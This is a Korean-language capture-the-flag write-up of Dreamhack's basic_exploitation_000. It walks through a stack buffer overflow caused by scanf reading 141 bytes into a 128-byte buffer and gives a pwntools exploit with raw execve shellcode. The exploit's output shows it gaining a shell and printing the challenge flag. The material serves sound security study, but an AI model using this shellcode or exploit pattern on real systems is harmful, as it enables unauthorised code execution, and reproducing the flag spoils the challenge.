⚡ root ~/Downloads cat basic_exploitation_000.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80]; // 128 Byte 크기의 문자열 변수 선언
initialize();
printf("buf = (%p)\n", buf); // buf의 주소 출력
scanf("%141s", buf); // buf에 141 Byte 크기의 문자열을 입력받음
return 0;
}
buf
의 크기는 128 Byte
밖에 안되는데, scanf("%141s", buf)
를 통해서 141 Byte
크기의 입력을 받기 때문에 버퍼 오버플로우가 발생합니다.
gdb로 어셈블리어를 봐보면
gdb-peda$ pdisas main
Dump of assembler code for function main:
0x080485d9 <+0>: push ebp
0x080485da <+1>: mov ebp,esp
0x080485dc <+3>: add esp,0xffffff80
0x080485df <+6>: call 0x8048592 <initialize> // initialize() 함수 호출
0x080485e4 <+11>: lea eax,[ebp-0x80] // eax = buf(ebp-128)
0x080485e7 <+14>: push eax // push eax
0x080485e8 <+15>: push 0x8048699 // push "buf = (%p)\n"
0x080485ed <+20>: call 0x80483f0 <printf@plt> // printf("buf = (%p)\n", buf)
0x080485f2 <+25>: add esp,0x8
0x080485f5 <+28>: lea eax,[ebp-0x80] // eax = buf(ebp-128)
0x080485f8 <+31>: push eax // push buf(ebp-128)
0x080485f9 <+32>: push 0x80486a5 // push "%141s"
0x080485fe <+37>: call 0x8048460 <__isoc99_scanf@plt> // scanf(%141s", buf)
0x08048603 <+42>: add esp,0x8
0x08048606 <+45>: mov eax,0x0
0x0804860b <+50>: leave
0x0804860c <+51>: ret
End of assembler dump.
메모리 구조를 그려보면
buf
의 주소는 printf()
로 출력을 해주기 때문에 따로 찾을 필요 없고, shellcode
는 scanf()
우회 쉘 코드인 26 Byte
쉘 코드를 사용하면 됩니다.
페이로드는
buf~EBP ← shellcode[26] + NOP[106]
RET ← buf_address[4]
로 구성해서 공격을 하면 될 거 같습니다.
pwntools
로 익스플로잇 코드를 짜 보면
from pwn import *
p = remote("host3.dreamhack.games", 12129) # 원격 서버 접속
# scanf() 우회 shellcode
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
buf = int(p.recv()[7:17], 16) # 출력 데이터인 buf = (0xffffcfb8)에서 0xffffcfb8 (index: 7 ~ 17)만 16진수로 buf에 저장
payload = shellcode # payload = shellcode[26]
payload += b"\x90"*106 # payload = shellcode[26] + NOP[106]
payload += p32(buf) # payload = shellcode[26] + NOP[106] + buf_address[4]
p.sendline(payload) # payload 입력
p.interactive() # user에게 입출력을 다시 돌려줌
익스플로잇 코드를 실행시켜보면
⚡ root ~/dreamhack python exploit001.py
[+] Opening connection to host3.dreamhack.games on port 12129: Done
[*] Switching to interactive mode
$ ls
$ ls
basic_exploitation_000
flag
$ cat flag
DH{465dd453b2a25a26a847a93d3695676d}$
$
[*] Got EOF while reading in interactive
공격에 성공해서 쉘이 떴고 플래그를 출력하니 정상적으로 출력되었습니다.